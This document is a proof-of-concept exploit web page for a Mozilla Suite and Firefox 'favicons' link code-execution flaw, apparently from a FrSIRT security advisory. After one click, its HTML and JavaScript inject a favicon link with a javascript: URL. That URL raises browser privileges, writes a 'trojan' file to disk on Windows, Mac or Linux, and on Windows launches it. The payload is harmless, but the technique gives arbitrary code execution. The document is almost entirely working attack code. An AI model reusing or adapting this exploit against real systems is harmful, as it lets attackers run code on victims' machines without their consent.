Mozilla Suite and Firefox "favicons" LINK Code Execution Exploit// FrSIRT Comment : If a user clicks on a link, this code will create and
// launch the file c:\trojan.bat (on Windows).
// On Linux and Mac OS X this code will create the file ~/trojan or /trojan
<html>
<head>
<link rel="SHORTCUT ICON" href="favicon.ico">
<script language="JavaScript" type="text/javascript">
var pf = navigator.platform.toLowerCase();
if (pf.indexOf("win") != -1) {
var os = "win";
} else if (pf.indexOf("mac") != -1) {
var os = "mac";
} else {
var os = "linux"
}
function runDemo() {
// this is an ugly caching workaround
document.getElementById('outhtml').innerHTML = "";
document.getElementById('outhtml').innerHTML +=
document.getElementById('clearhtml').value
document.getElementById('outhtml').innerHTML +=
document.getElementById('clearhtml').value
document.getElementById('outhtml').innerHTML +=
document.getElementById('clearhtml').value
window.setTimeout("document.getElementById('outhtml').innerHTML +=
document.getElementById('linkhtml_"+os+"').value",300);
}
</script>
</head>
<body>
<div id="outhtml" style="display:none"></div>
<textarea id="clearhtml" style="display:none">
<link rel="SHORTCUT ICON" href="favicon.ico">
</textarea>
<textarea id="linkhtml_win" style="display:none">
<link rel="SHORTCUT ICON" href="javascript:delayedOpenWindow
('javascript:netscape.security.PrivilegeManager.enablePrivilege
(\'UniversalXPConnect\');file=Components.classes[\'@mozilla.org/file/local;1\']
.createInstance(Components.interfaces.nsILocalFile);
file.initWithPath(\'c:\\\\trojan.bat\');file.createUnique(Components.interfaces.nsIFile
.NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/
network/file-output-stream;1\'].createInstance(Components.interfaces.nsIFile
OutputStream);outputStream.init(file,0x04|0x08|0x20,420,0);output=\'@ECHO
OFF\\n:BEGIN\\nCLS\\nDIR\\nPAUSE\\n:END\';outputStream.write(output,
output.length);outputStream.close();file.launch();','','')">
</textarea>
<textarea id="linkhtml_mac" style="display:none">
<link rel="SHORTCUT ICON" href="javascript:delayedOpenWindow('javascript:
netscape.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');
file=Components.classes[\'@mozilla.org/file/local;1\'].createInstance(Components
.interfaces.nsILocalFile);file.initWithPath(\'/trojan\');file.createUnique(Components
.interfaces.nsIFile.NORMAL_FILE_TYPE,420);outputStream=Components.classes
[\'@mozilla.org/network/file-output-stream;1\'].createInstance(Components.interfaces
.nsIFileOutputStream);outputStream.init(file,0x04|0x08|0x20,420,0);
output=\'trojan!\';outputStream.write(output,output.length);outputStream.close();','','')">
</textarea>
<textarea id="linkhtml_linux" style="display:none">
<link rel="SHORTCUT ICON" href="javascript:delayedOpenWindow('javascript:netscape
.security.PrivilegeManager.enablePrivilege(\'UniversalXPConnect\');file=Components
.classes[\'@mozilla.org/file/local;1\'].createInstance(Components.interfaces.nsILocalFile);
file.initWithPath(\'~/trojan\');file.createUnique(Components.interfaces.nsIFile
.NORMAL_FILE_TYPE,420);outputStream=Components.classes[\'@mozilla.org/network/
file-output-stream;1\'].createInstance(Components.interfaces.nsIFileOutputStream);
outputStream.init(file,0x04|0x08|0x20,420,0);output=\'trojan!\';outputStream.
write(output,output.length);outputStream.close();','','')">
</textarea><br>
<a href="#" onclick="runDemo();runDemo();">Click HERE</a>
</div>
</body>
</html>
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